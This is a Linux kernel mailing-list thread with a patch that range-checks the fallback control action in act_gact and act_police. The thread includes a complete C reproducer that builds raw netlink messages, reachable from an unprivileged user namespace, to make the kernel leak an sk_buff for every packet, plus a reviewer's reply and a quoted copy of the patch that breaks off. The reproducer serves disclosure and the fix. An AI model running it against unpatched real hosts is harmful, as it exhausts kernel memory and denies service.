net/sched: act_gact, act_police: range check the fallback control action
Subsystems (4)
PATCH v2 1/1 net/sched: act_gact, act_police: range check the fallback control action
tcf_action_check_ctrlact() range checks the primary control action:
if (!opcode) ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;
TC_ACT_VALUE_MAX is TC_ACT_TRAP, so kernel-internal verdicts above it cannot be set that way. But act_gact and act_police each carry a second, independent control action supplied by user space that never reaches that helper - TCA_GACT_PROB.paction and TCA_POLICE_RESULT. Both only reject TC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned verbatim from the action.
In particular user space can store TC_ACT_CONSUMED, which is TC_ACT_VALUE_MAX + 1 and is deliberately not part of the UAPI value range. That verdict tells every caller the action took ownership of the skb, so nobody frees it: sch_handle_ingress(), sch_handle_egress() and tcf_qevent_handle() all deliberately skip the free for it. The result is one leaked sk_buff plus its data buffer per packet traversing the filter, unbounded, for all traffic on the chain including kernel-generated packets.
Both are trivially deterministic. act_gact clamps tcfg_pval to >= 1, so with pval = 1 gact_determ() returns the fallback for every packet. act_police has no mandatory rate, so rate = 0 leaves tcfp_mtu = ~0 and tcf_police_mtu_check() always passes.
TC_ACT_CONSUMED was added by commit 720f22fed81b ("net: sched: refactor reinsert action"), after both goto-chain guards were written:
commit 9469f375ab09 ("net/sched: act_gact: disallow 'goto chain' on fallback control action") and
commit c08f5ed5d625 ("net/sched: act_police: disallow 'goto chain' on fallback control action"). Neither guard was widened when the new verdict appeared.
Factor the existing range test out of tcf_action_check_ctrlact() as tcf_action_valid() and apply it to both fallbacks. The helper cannot call tcf_action_check_ctrlact() directly because that also allocates a goto_chain, which is exactly what these two sites must not do.
Reproduced on v7.2-rc6: kmemleak reports one leaked 232-byte skbuff_head_cache object plus its 704-byte data buffer per packet. With this patch both configurations are rejected with -EINVAL and kmemleak reports none.
--- include/net/act_api.h | 19 +++++++++++++++++++ net/sched/act_gact.c | 5 +++++ net/sched/act_police.c | 6 ++++++ 3 files changed, 30 insertions(+)
v2:
- add Assisted-by: tag
- explain below why no tdc case is possible; C reproducer offered
- no functional change
v1: https://lore.kernel.org/netdev/[email protected]/
No tdc selftest accompanies this one, unlike the act_ct fix: tdc drives tc(8), and iproute2 only parses symbolic control-action names, so the bad value cannot be expressed at all.
$ tc actions add action gact drop random determ ok 2 RTNETLINK answers: Operation not permitted <- parsed fine $ tc actions add action gact drop random determ 9 2 Bad action type 9 <- rejected by iproute2
The fallback therefore has to be planted over raw netlink. Self-contained reproducer below; on an unpatched kernel it prints
gact fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
skbuff_head_cache 140 -> 364 (+224) after 200 packets
police fallback = 9 (TC_ACT_CONSUMED): ACCEPTED BY THE KERNEL
skbuff_head_cache 364 -> 560 (+196) after 200 packets
and with this patch applied both filters are refused with -EINVAL "invalid fallback control action" and nothing leaks.
8<--------------------------------------------------
// SPDX-License-Identifier: GPL-2.0
/*
* act_gact / act_police accept an out-of-range fallback control action. *
* tc(8) cannot express this: iproute2 only parses symbolic action names, so
* the value has to be planted over raw netlink. Build and run as an
* unprivileged user (needs unprivileged userns) or as root:
*
* gcc -O2 -o repro repro.c && ./repro
*
* Needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB, CONFIG_NET_ACT_POLICE.
* Add CONFIG_DEBUG_KMEMLEAK and boot with kmemleak=on to see the leaked
* objects; /proc/slabinfo alone is enough to see the growth.
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#define TC_H_CLSACT 0xFFFFFFF1U
#define TC_H_MIN_INGRESS 0xFFF2U
#define TCA_KIND_ 1
#define TCA_OPTIONS_ 2
#define TCA_ACT_KIND_ 1
#define TCA_ACT_OPTIONS_ 2
#define TCA_MATCHALL_ACT_ 2
#define TCA_GACT_PARMS_ 2
#define TCA_GACT_PROB_ 3
#define TCA_POLICE_TBF_ 1
#define TCA_POLICE_RESULT_ 5
#define PGACT_DETERM_ 2
#define BAD_ACTION 9 /* TC_ACT_CONSUMED, kernel-internal */
struct tc_gen { __u32 index, capab; int action, refcnt, bindcnt; }; struct tc_gact_p_ { __u16 ptype, pval; int paction; };
struct tc_ratespec_ { __u8 cell_log, linklayer; __u16 overhead;
__s16 cell_align; __u16 mpu; __u32 rate; };
struct tc_police_ { __u32 index; int action; __u32 limit, burst, mtu;
struct tc_ratespec_ rate, peakrate;
int refcnt, bindcnt; __u32 capab; };static int nl;
static char extack[256];
struct req { struct nlmsghdr n; char buf[2048]; };
static void *tail(struct nlmsghdr *n) { return (char *)n + NLMSG_ALIGN(n->nlmsg_len); }
static void addattr(struct nlmsghdr *n, int type, const void *d, int len)
{
struct rtattr *rta = tail(n);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
if (len)
memcpy(RTA_DATA(rta), d, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rta->rta_len);
}static void addstr(struct nlmsghdr *n, int t, const char *s)
{
addattr(n, t, s, strlen(s) + 1);
}static struct rtattr *nest(struct nlmsghdr *n, int t)
{
struct rtattr *r = tail(n);
addattr(n, t | NLA_F_NESTED, NULL, 0);
return r;
}static void unnest(struct nlmsghdr *n, struct rtattr *r)
{
r->rta_len = (char *)tail(n) - (char *)r;
}static int talk(struct nlmsghdr *n)
{
char rbuf[8192];
struct iovec iov = { n, n->nlmsg_len };
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct msghdr m = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 };
static __u32 seq = 1;
struct nlmsghdr *h;
ssize_t len;
n->nlmsg_seq = ++seq;
n->nlmsg_flags |= NLM_F_ACK;
extack[0] = '\0';
if (sendmsg(nl, &m, 0) < 0)
return -errno;
iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf);
len = recvmsg(nl, &m, 0);
if (len < 0)
return -errno;
for (h = (void *)rbuf; NLMSG_OK(h, (unsigned)len); h = NLMSG_NEXT(h, len)) {
struct nlmsgerr *e = NLMSG_DATA(h);
struct rtattr *rta;
int hlen = sizeof(*e), rl;
if (h->nlmsg_type != NLMSG_ERROR)
continue;
if (e->error && (h->nlmsg_flags & NLM_F_ACK_TLVS)) {
if (!(h->nlmsg_flags & NLM_F_CAPPED))
hlen += e->msg.nlmsg_len - NLMSG_HDRLEN;
rta = (void *)((char *)e + hlen);
rl = h->nlmsg_len - NLMSG_HDRLEN - hlen;
for (; RTA_OK(rta, rl); rta = RTA_NEXT(rta, rl))
if ((rta->rta_type & NLA_TYPE_MASK) == 1)
snprintf(extack, sizeof(extack), "%.*s",
(int)RTA_PAYLOAD(rta),
(char *)RTA_DATA(rta));
}
return e->error;
}
return 0;
}static void init(struct req *r, int type, int flags, size_t hdr)
{
memset(r, 0, sizeof(*r));
r->n.nlmsg_len = NLMSG_LENGTH(hdr);
r->n.nlmsg_type = type;
r->n.nlmsg_flags = NLM_F_REQUEST | flags;
}static int veth_add(void)
{
struct req r;
struct rtattr *li, *data, *peer;
struct ifinfomsg ph = {};
init(&r, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, sizeof(struct ifinfomsg));
addstr(&r.n, IFLA_IFNAME, "veth0");
li = nest(&r.n, IFLA_LINKINFO);
addstr(&r.n, IFLA_INFO_KIND, "veth");
data = nest(&r.n, IFLA_INFO_DATA);
peer = nest(&r.n, 1 /* VETH_INFO_PEER */);
memcpy(tail(&r.n), &ph, sizeof(ph));
r.n.nlmsg_len = NLMSG_ALIGN(r.n.nlmsg_len) + NLMSG_ALIGN(sizeof(ph));
addstr(&r.n, IFLA_IFNAME, "veth1");
unnest(&r.n, peer); unnest(&r.n, data); unnest(&r.n, li);
return talk(&r.n);
}static int link_up(const char *dev)
{
struct req r;
struct ifinfomsg *i;
init(&r, RTM_NEWLINK, 0, sizeof(*i));
i = NLMSG_DATA(&r.n);
i->ifi_family = AF_UNSPEC;
i->ifi_index = if_nametoindex(dev);
i->ifi_flags = i->ifi_change = IFF_UP;
return talk(&r.n);
}static int clsact_add(void)
{
struct req r;
struct tcmsg *t;
init(&r, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = TC_H_CLSACT;
t->tcm_handle = 0xFFFF0000U;
addstr(&r.n, TCA_KIND_, "clsact");
return talk(&r.n);
}/* matchall + gact|police whose *fallback* control action is @fallback */ static int filter_add(const char *kind, int fallback)
{
struct req r;
struct tcmsg *t;
struct rtattr *o, *acts, *a1, *ao;
struct tc_gen parm = {};
init(&r, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
t->tcm_info = (1u << 16) | htons(ETH_P_ALL);
addstr(&r.n, TCA_KIND_, "matchall");
o = nest(&r.n, TCA_OPTIONS_);
acts = nest(&r.n, TCA_MATCHALL_ACT_);
a1 = nest(&r.n, 1);
addstr(&r.n, TCA_ACT_KIND_, kind);
ao = nest(&r.n, TCA_ACT_OPTIONS_);
if (!strcmp(kind, "gact")) {
/* ptype = PGACT_DETERM, pval = 1 -> gact_determ() returns the
* fallback for every packet (tcfg_pval is clamped to >= 1). */
struct tc_gact_p_ prob = { PGACT_DETERM_, 1, fallback };
addattr(&r.n, TCA_GACT_PARMS_, &parm, sizeof(parm));
addattr(&r.n, TCA_GACT_PROB_, &prob, sizeof(prob));
} else {
/* rate = 0 leaves tcfp_mtu = ~0, so tcf_police_mtu_check() is
* always true and tcf_police_act() returns tcfp_result. */
struct tc_police_ pol = {};
addattr(&r.n, TCA_POLICE_TBF_, &pol, sizeof(pol));
addattr(&r.n, TCA_POLICE_RESULT_, &fallback, sizeof(fallback));
}
unnest(&r.n, ao); unnest(&r.n, a1); unnest(&r.n, acts); unnest(&r.n, o);
return talk(&r.n);
}static int filter_flush(void)
{
struct req r;
struct tcmsg *t;
init(&r, RTM_DELTFILTER, 0, sizeof(*t));
t = NLMSG_DATA(&r.n);
t->tcm_family = AF_UNSPEC;
t->tcm_ifindex = if_nametoindex("veth0");
t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS;
return talk(&r.n);
}static long skbs(void)
{
char l[512];
FILE *f = fopen("/proc/slabinfo", "r");
long a = -1;
if (!f)
return -1;
while (fgets(l, sizeof(l), f)) {
char n[128]; long act, num;
if (sscanf(l, "%127s %ld %ld", n, &act, &num) == 3 &&
!strcmp(n, "skbuff_head_cache")) { a = act; break; }
}
fclose(f);
return a;
}static void inject(int n)
{
unsigned char f[54] = { [0 ... 5] = 0xaa, [6 ... 11] = 0xbb };
struct sockaddr_ll s = { .sll_family = AF_PACKET, .sll_halen = 6 };
int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)), i;
f[12] = 0x86; f[13] = 0xdd; /* IPv6 */
f[14] = 0x60; f[20] = 59; f[21] = 64; /* nexthdr NONE, hop limit */
s.sll_ifindex = if_nametoindex("veth1");
memset(s.sll_addr, 0xaa, 6);
if (fd < 0 || bind(fd, (struct sockaddr *)&s, sizeof(s)) < 0)
return;
for (i = 0; i < n; i++)
sendto(fd, f, sizeof(f), MSG_DONTWAIT,
(struct sockaddr *)&s, sizeof(s));
usleep(400000);
close(fd);
}static void run(const char *kind)
{
long before, after;
int rc;
filter_flush();
rc = filter_add(kind, BAD_ACTION);
printf("\n%-7s fallback = %d (TC_ACT_CONSUMED): %s%s%s\n", kind,
BAD_ACTION, rc ? "REJECTED" : "ACCEPTED BY THE KERNEL",
rc && extack[0] ? " -- " : "", rc ? extack : "");
if (rc)
return;
before = skbs();
inject(200);
after = skbs();
printf(" skbuff_head_cache %ld -> %ld (%+ld) after 200 packets\n",
before, after, after - before);
}int main(void)
{
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
char b[64];
int on = 1, fd;
uid_t uid = getuid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) {
fd = open("/proc/self/setgroups", O_WRONLY);
if (fd >= 0) { write(fd, "deny", 4); close(fd); }
snprintf(b, sizeof(b), "0 %d 1", getgid());
fd = open("/proc/self/gid_map", O_WRONLY);
if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
snprintf(b, sizeof(b), "0 %d 1", uid);
fd = open("/proc/self/uid_map", O_WRONLY);
if (fd >= 0) { write(fd, b, strlen(b)); close(fd); }
} else if (unshare(CLONE_NEWNET)) {
perror("unshare"); return 1;
}
nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
setsockopt(nl, SOL_NETLINK, 11 /* NETLINK_EXT_ACK */, &on, sizeof(on));
if (bind(nl, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("bind"); return 1;
}
if (veth_add() || link_up("veth0") || link_up("veth1") || clsact_add()) {
fprintf(stderr, "setup failed\n"); return 1;
}
run("gact");
run("police");
printf("\nA fixed kernel rejects both with -EINVAL and leaks nothing.\n");
return 0;
}-------------------------------------------------->8
Reproducer needs CONFIG_NET_ACT_GACT + CONFIG_GACT_PROB and CONFIG_NET_ACT_POLICE, plus CONFIG_DEBUG_KMEMLEAK and kmemleak=on to observe it.
The bad value cannot be set with tc(8) - iproute2 only parses symbolic action names - so the fallback has to be planted over raw netlink:
TCA_GACT_PROB.paction = 9 with ptype = PGACT_DETERM and pval = 1, or TCA_POLICE_RESULT = 9 with rate = 0. Attach either to a clsact ingress chain and every packet leaks its skb.
Before, one sk_buff plus its data buffer per packet:
kmemleak: 166 new suspected memory leaks unreferenced object 0xffff888103baadc0 (size 232):
kmem_cache_alloc_node_noprof+0x2f1/0x3e0
__alloc_skb+0xe5/0x860
alloc_skb_with_frags+0x82/0x750
sock_alloc_send_pskb+0x658/0x7e0
packet_sendmsg+0x1833/0x4860
__x64_sys_sendto+0xe0/0x1c0
do_syscall_64+0x102/0x5a0After: both configurations are rejected at netlink time with -EINVAL and "invalid fallback control action", and kmemleak reports no unreferenced objects.
For the same reason tdc cannot express the bad configuration, so no selftest accompanies this patch. A self-contained C reproducer is available on request.
include/net/act_api.h +19 -0
@@ -270,6 +270,25 @@ int tcf_action_check_ctrlact(int action, struct tcf_proto *tp,struct tcf_chain *tcf_action_set_ctrlact (struct tc_action *a,int action,struct tcf_chain *newchain); +/* Range check for a control action supplied by user space. +* +* This is the same test tcf_action_check_ctrlact() applies to the primary +* control action, factored out for the *fallback* control actions +* (act_gact's TCA_GACT_PROB.paction and act_police's TCA_POLICE_RESULT), +* which must not reach tcf_action_check_ctrlact() because they have no +* goto_chain to allocate. Without it, user space can store kernel-internal +* verdicts such as TC_ACT_CONSUMED, which is TC_ACT_VALUE_MAX + 1 and is +* deliberately not part of the UAPI value range. +*/ +static inline bool tcf_action_valid (int action) +{ +int opcode =TC_ACT_EXT_OPCODE (action); + +if (!opcode) +return action <=TC_ACT_VALUE_MAX ; +return opcode <=TC_ACT_EXT_OPCODE_MAX || action ==TC_ACT_UNSPEC ; +} +#ifdef CONFIG_INET DECLARE_STATIC_KEY_FALSE (tcf_frag_xmit_count);#endif
net/sched/act_gact.c +5 -0
@@ -89,6 +89,11 @@ static int tcf_gact_init(struct net *net, struct nlattr *nla, p_parm =nla_data (tb[TCA_GACT_PROB ]);if (p_parm->ptype >=MAX_RAND )return -EINVAL ; +if (!tcf_action_valid (p_parm->paction)) { +NL_SET_ERR_MSG (extack, +"invalid fallback control action" ); +return -EINVAL ; + }if (TC_ACT_EXT_CMP (p_parm->paction,TC_ACT_GOTO_CHAIN )) {NL_SET_ERR_MSG (extack,"goto chain not allowed on fallback" );
net/sched/act_police.c +6 -0
@@ -128,6 +128,12 @@ static int tcf_police_init(struct net *net, struct nlattr *nla,if (tb[TCA_POLICE_RESULT ]) { tcfp_result =nla_get_u32 (tb[TCA_POLICE_RESULT ]); +if (!tcf_action_valid (tcfp_result)) { +NL_SET_ERR_MSG (extack, +"invalid fallback control action" ); + err = -EINVAL ; + goto failure; + }if (TC_ACT_EXT_CMP (tcfp_result,TC_ACT_GOTO_CHAIN )) {NL_SET_ERR_MSG (extack,"goto chain not allowed on fallback" );
--
2.43.0
Quoted 45 lines · Hyunjung Ko
tcf_action_check_ctrlact()range checks the primary control action:if (!opcode) ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;
TC_ACT_VALUE_MAXisTC_ACT_TRAP, so kernel-internal verdicts above it cannot be set that way. Butact_gactandact_policeeach carry a second, independent control action supplied by user space that never reaches that helper - TCA_GACT_PROB.paction andTCA_POLICE_RESULT. Both only rejectTC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned verbatim from the action.In particular user space can store
TC_ACT_CONSUMED, which isTC_ACT_VALUE_MAX+ 1 and is deliberately not part of the UAPI value range. That verdict tells every caller the action took ownership of the skb, so nobody frees it:sch_handle_ingress(),sch_handle_egress()andtcf_qevent_handle()all deliberately skip the free for it. The result is one leakedsk_buffplus its data buffer per packet traversing the filter, unbounded, for all traffic on the chain including kernel-generated packets.Both are trivially deterministic.
act_gactclampstcfg_pvalto >= 1, so with pval = 1gact_determ()returns the fallback for every packet.act_policehas no mandatory rate, so rate = 0 leavestcfp_mtu= ~0 andtcf_police_mtu_check()always passes.
TC_ACT_CONSUMEDwas added by commit720f22fed81b("net: sched: refactor reinsert action"), after both goto-chain guards were written:
commit9469f375ab09("net/sched:act_gact: disallow 'goto chain' on fallback control action") and
commitc08f5ed5d625("net/sched:act_police: disallow 'goto chain' on fallback control action"). Neither guard was widened when the new verdict appeared.Factor the existing range test out of
tcf_action_check_ctrlact()astcf_action_valid()and apply it to both fallbacks. The helper cannot calltcf_action_check_ctrlact()directly because that also allocates agoto_chain, which is exactly what these two sites must not do.Reproduced on v7.2-rc6: kmemleak reports one leaked 232-byte
skbuff_head_cacheobject plus its 704-byte data buffer per packet. With this patch both configurations are rejected with-EINVALand kmemleak reports none.
Quoted 4 lines
Fixes 720f22fed81b ("net: sched: refactor reinsert action")Cc [email protected] # v5.3+Assisted-by Anthropic-Claude-Code:Claude-Opus-5Signed-off-by Hyunjung Ko <[email protected]>
Thanks for the repro. Patch looks sane.
cheers,
jamal
Quoted 457 lines
--- include/net/act_api.h | 19 +++++++++++++++++++ net/sched/act_gact.c | 5 +++++ net/sched/act_police.c | 6 ++++++ 3 files changed, 30 insertions(+)v2:
- add Assisted-by: tag
- explain below why no tdc case is possible; C reproducer offered
- no functional change
v1: https://lore.kernel.org/netdev/[email protected]/No tdc selftest accompanies this one, unlike the
act_ctfix: tdc drives tc(8), and iproute2 only parses symbolic control-action names, so the bad value cannot be expressed at all.$ tc actions add action gact drop random determ ok 2 RTNETLINK answers: Operation not permitted <- parsed fine $ tc actions add action gact drop random determ 9 2 Bad action type 9 <- rejected by iproute2The fallback therefore has to be planted over raw netlink. Self-contained reproducer below; on an unpatched kernel it prints
gact fallback = 9 (
TC_ACT_CONSUMED): ACCEPTED BY THE KERNELskbuff_head_cache 140 -> 364 (+224) after 200 packetspolice fallback = 9 (
TC_ACT_CONSUMED): ACCEPTED BY THE KERNELskbuff_head_cache 364 -> 560 (+196) after 200 packetsand with this patch applied both filters are refused with
-EINVAL"invalid fallback control action" and nothing leaks.8<--------------------------------------------------
// SPDX-License-Identifier: GPL-2.0
/*
*act_gact/act_policeaccept an out-of-range fallback control action. *
* tc(8) cannot express this: iproute2 only parses symbolic action names, so
* the value has to be planted over raw netlink. Build and run as an
* unprivileged user (needs unprivileged userns) or as root:
*
* gcc -O2 -o reprorepro.c&& ./repro
*
* NeedsCONFIG_NET_ACT_GACT+CONFIG_GACT_PROB,CONFIG_NET_ACT_POLICE.
* AddCONFIG_DEBUG_KMEMLEAKand boot with kmemleak=on to see the leaked
* objects;/proc/slabinfoalone is enough to see the growth.
*/
#define_GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>#define
TC_H_CLSACT0xFFFFFFF1U
#defineTC_H_MIN_INGRESS0xFFF2U#define TCA_KIND_ 1 #define TCA_OPTIONS_ 2 #define TCA_ACT_KIND_ 1#define
TCA_ACT_OPTIONS_2
#defineTCA_MATCHALL_ACT_2
#defineTCA_GACT_PARMS_2
#defineTCA_GACT_PROB_3
#defineTCA_POLICE_TBF_1
#defineTCA_POLICE_RESULT_5
#definePGACT_DETERM_2
#defineBAD_ACTION9 /*TC_ACT_CONSUMED, kernel-internal */struct
tc_gen{__u32index, capab; int action, refcnt, bindcnt; }; structtc_gact_p_{__u16ptype, pval; int paction; };struct tc_ratespec_ { __u8 cell_log, linklayer; __u16 overhead; __s16 cell_align; __u16 mpu; __u32 rate; }; struct tc_police_ { __u32 index; int action; __u32 limit, burst, mtu; struct tc_ratespec_ rate, peakrate; int refcnt, bindcnt; __u32 capab; };static int nl;
static char extack[256];struct req { struct nlmsghdr n; char buf[2048]; };
static void *tail(struct nlmsghdr *n) { return (char *)n +
NLMSG_ALIGN(n->nlmsg_len); }static void
addattr(struct nlmsghdr *n, int type, const void *d, int len){ struct rtattr *rta = tail(n); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); if (len) memcpy(RTA_DATA(rta), d, len); n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(rta->rta_len); }static void
addstr(struct nlmsghdr *n, int t, const char *s){ addattr(n, t, s, strlen(s) + 1); }static struct rtattr *nest(struct nlmsghdr *n, int t)
{ struct rtattr *r = tail(n); addattr(n, t | NLA_F_NESTED, NULL, 0); return r; }static void
unnest(struct nlmsghdr *n, struct rtattr *r){ r->rta_len = (char *)tail(n) - (char *)r; }static int
talk(struct nlmsghdr *n){ char rbuf[8192]; struct iovec iov = { n, n->nlmsg_len }; struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; struct msghdr m = { &sa, sizeof(sa), &iov, 1, NULL, 0, 0 }; static __u32 seq = 1; struct nlmsghdr *h; ssize_t len; n->nlmsg_seq = ++seq; n->nlmsg_flags |= NLM_F_ACK; extack[0] = '\0'; if (sendmsg(nl, &m, 0) < 0) return -errno; iov.iov_base = rbuf; iov.iov_len = sizeof(rbuf); len = recvmsg(nl, &m, 0); if (len < 0) return -errno; for (h = (void *)rbuf; NLMSG_OK(h, (unsigned)len); h = NLMSG_NEXT(h, len)) { struct nlmsgerr *e = NLMSG_DATA(h); struct rtattr *rta; int hlen = sizeof(*e), rl; if (h->nlmsg_type != NLMSG_ERROR) continue; if (e->error && (h->nlmsg_flags & NLM_F_ACK_TLVS)) { if (!(h->nlmsg_flags & NLM_F_CAPPED)) hlen += e->msg.nlmsg_len - NLMSG_HDRLEN; rta = (void *)((char *)e + hlen); rl = h->nlmsg_len - NLMSG_HDRLEN - hlen; for (; RTA_OK(rta, rl); rta = RTA_NEXT(rta, rl)) if ((rta->rta_type & NLA_TYPE_MASK) == 1) snprintf(extack, sizeof(extack), "%.*s", (int)RTA_PAYLOAD(rta), (char *)RTA_DATA(rta)); } return e->error; } return 0; }static void
init(struct req *r, int type, int flags, size_t hdr){ memset(r, 0, sizeof(*r)); r->n.nlmsg_len = NLMSG_LENGTH(hdr); r->n.nlmsg_type = type; r->n.nlmsg_flags = NLM_F_REQUEST | flags; }static int
veth_add(void){ struct req r; struct rtattr *li, *data, *peer; struct ifinfomsg ph = {}; init(&r, RTM_NEWLINK, NLM_F_CREATE | NLM_F_EXCL, sizeof(struct ifinfomsg)); addstr(&r.n, IFLA_IFNAME, "veth0"); li = nest(&r.n, IFLA_LINKINFO); addstr(&r.n, IFLA_INFO_KIND, "veth"); data = nest(&r.n, IFLA_INFO_DATA); peer = nest(&r.n, 1 /* VETH_INFO_PEER */); memcpy(tail(&r.n), &ph, sizeof(ph)); r.n.nlmsg_len = NLMSG_ALIGN(r.n.nlmsg_len) + NLMSG_ALIGN(sizeof(ph)); addstr(&r.n, IFLA_IFNAME, "veth1"); unnest(&r.n, peer); unnest(&r.n, data); unnest(&r.n, li); return talk(&r.n); }static int
link_up(const char *dev){ struct req r; struct ifinfomsg *i; init(&r, RTM_NEWLINK, 0, sizeof(*i)); i = NLMSG_DATA(&r.n); i->ifi_family = AF_UNSPEC; i->ifi_index = if_nametoindex(dev); i->ifi_flags = i->ifi_change = IFF_UP; return talk(&r.n); }static int
clsact_add(void){ struct req r; struct tcmsg *t; init(&r, RTM_NEWQDISC, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t)); t = NLMSG_DATA(&r.n); t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("veth0"); t->tcm_parent = TC_H_CLSACT; t->tcm_handle = 0xFFFF0000U; addstr(&r.n, TCA_KIND_, "clsact"); return talk(&r.n); }/* matchall + gact|police whose *fallback* control action is @fallback */ static int
filter_add(const char *kind, int fallback){ struct req r; struct tcmsg *t; struct rtattr *o, *acts, *a1, *ao; struct tc_gen parm = {}; init(&r, RTM_NEWTFILTER, NLM_F_CREATE | NLM_F_EXCL, sizeof(*t)); t = NLMSG_DATA(&r.n); t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("veth0"); t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS; t->tcm_info = (1u << 16) | htons(ETH_P_ALL); addstr(&r.n, TCA_KIND_, "matchall"); o = nest(&r.n, TCA_OPTIONS_); acts = nest(&r.n, TCA_MATCHALL_ACT_); a1 = nest(&r.n, 1); addstr(&r.n, TCA_ACT_KIND_, kind); ao = nest(&r.n, TCA_ACT_OPTIONS_); if (!strcmp(kind, "gact")) { /* ptype = PGACT_DETERM, pval = 1 -> gact_determ() returns the * fallback for every packet (tcfg_pval is clamped to >= 1). */ struct tc_gact_p_ prob = { PGACT_DETERM_, 1, fallback }; addattr(&r.n, TCA_GACT_PARMS_, &parm, sizeof(parm)); addattr(&r.n, TCA_GACT_PROB_, &prob, sizeof(prob)); } else { /* rate = 0 leaves tcfp_mtu = ~0, so tcf_police_mtu_check() is * always true and tcf_police_act() returns tcfp_result. */ struct tc_police_ pol = {}; addattr(&r.n, TCA_POLICE_TBF_, &pol, sizeof(pol)); addattr(&r.n, TCA_POLICE_RESULT_, &fallback, sizeof(fallback)); } unnest(&r.n, ao); unnest(&r.n, a1); unnest(&r.n, acts); unnest(&r.n, o); return talk(&r.n); }static int
filter_flush(void){ struct req r; struct tcmsg *t; init(&r, RTM_DELTFILTER, 0, sizeof(*t)); t = NLMSG_DATA(&r.n); t->tcm_family = AF_UNSPEC; t->tcm_ifindex = if_nametoindex("veth0"); t->tcm_parent = 0xFFFF0000U | TC_H_MIN_INGRESS; return talk(&r.n); }static long skbs(void)
{ char l[512]; FILE *f = fopen("/proc/slabinfo", "r"); long a = -1; if (!f) return -1; while (fgets(l, sizeof(l), f)) { char n[128]; long act, num; if (sscanf(l, "%127s %ld %ld", n, &act, &num) == 3 && !strcmp(n, "skbuff_head_cache")) { a = act; break; } } fclose(f); return a; }static void inject(int n)
{ unsigned char f[54] = { [0 ... 5] = 0xaa, [6 ... 11] = 0xbb }; struct sockaddr_ll s = { .sll_family = AF_PACKET, .sll_halen = 6 }; int fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)), i; f[12] = 0x86; f[13] = 0xdd; /* IPv6 */ f[14] = 0x60; f[20] = 59; f[21] = 64; /* nexthdr NONE, hop limit */ s.sll_ifindex = if_nametoindex("veth1"); memset(s.sll_addr, 0xaa, 6); if (fd < 0 || bind(fd, (struct sockaddr *)&s, sizeof(s)) < 0) return; for (i = 0; i < n; i++) sendto(fd, f, sizeof(f), MSG_DONTWAIT, (struct sockaddr *)&s, sizeof(s)); usleep(400000); close(fd); }static void
run(const char *kind){ long before, after; int rc; filter_flush(); rc = filter_add(kind, BAD_ACTION); printf("\n%-7s fallback = %d (TC_ACT_CONSUMED): %s%s%s\n", kind, BAD_ACTION, rc ? "REJECTED" : "ACCEPTED BY THE KERNEL", rc && extack[0] ? " -- " : "", rc ? extack : ""); if (rc) return; before = skbs(); inject(200); after = skbs(); printf(" skbuff_head_cache %ld -> %ld (%+ld) after 200 packets\n", before, after, after - before); }int main(void)
{ struct sockaddr_nl sa = { .nl_family = AF_NETLINK }; char b[64]; int on = 1, fd; uid_t uid = getuid(); if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) { fd = open("/proc/self/setgroups", O_WRONLY); if (fd >= 0) { write(fd, "deny", 4); close(fd); } snprintf(b, sizeof(b), "0 %d 1", getgid()); fd = open("/proc/self/gid_map", O_WRONLY); if (fd >= 0) { write(fd, b, strlen(b)); close(fd); } snprintf(b, sizeof(b), "0 %d 1", uid); fd = open("/proc/self/uid_map", O_WRONLY); if (fd >= 0) { write(fd, b, strlen(b)); close(fd); } } else if (unshare(CLONE_NEWNET)) { perror("unshare"); return 1; } nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); setsockopt(nl, SOL_NETLINK, 11 /* NETLINK_EXT_ACK */, &on, sizeof(on)); if (bind(nl, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (veth_add() || link_up("veth0") || link_up("veth1") || clsact_add()) { fprintf(stderr, "setup failed\n"); return 1; } run("gact"); run("police"); printf("\nA fixed kernel rejects both 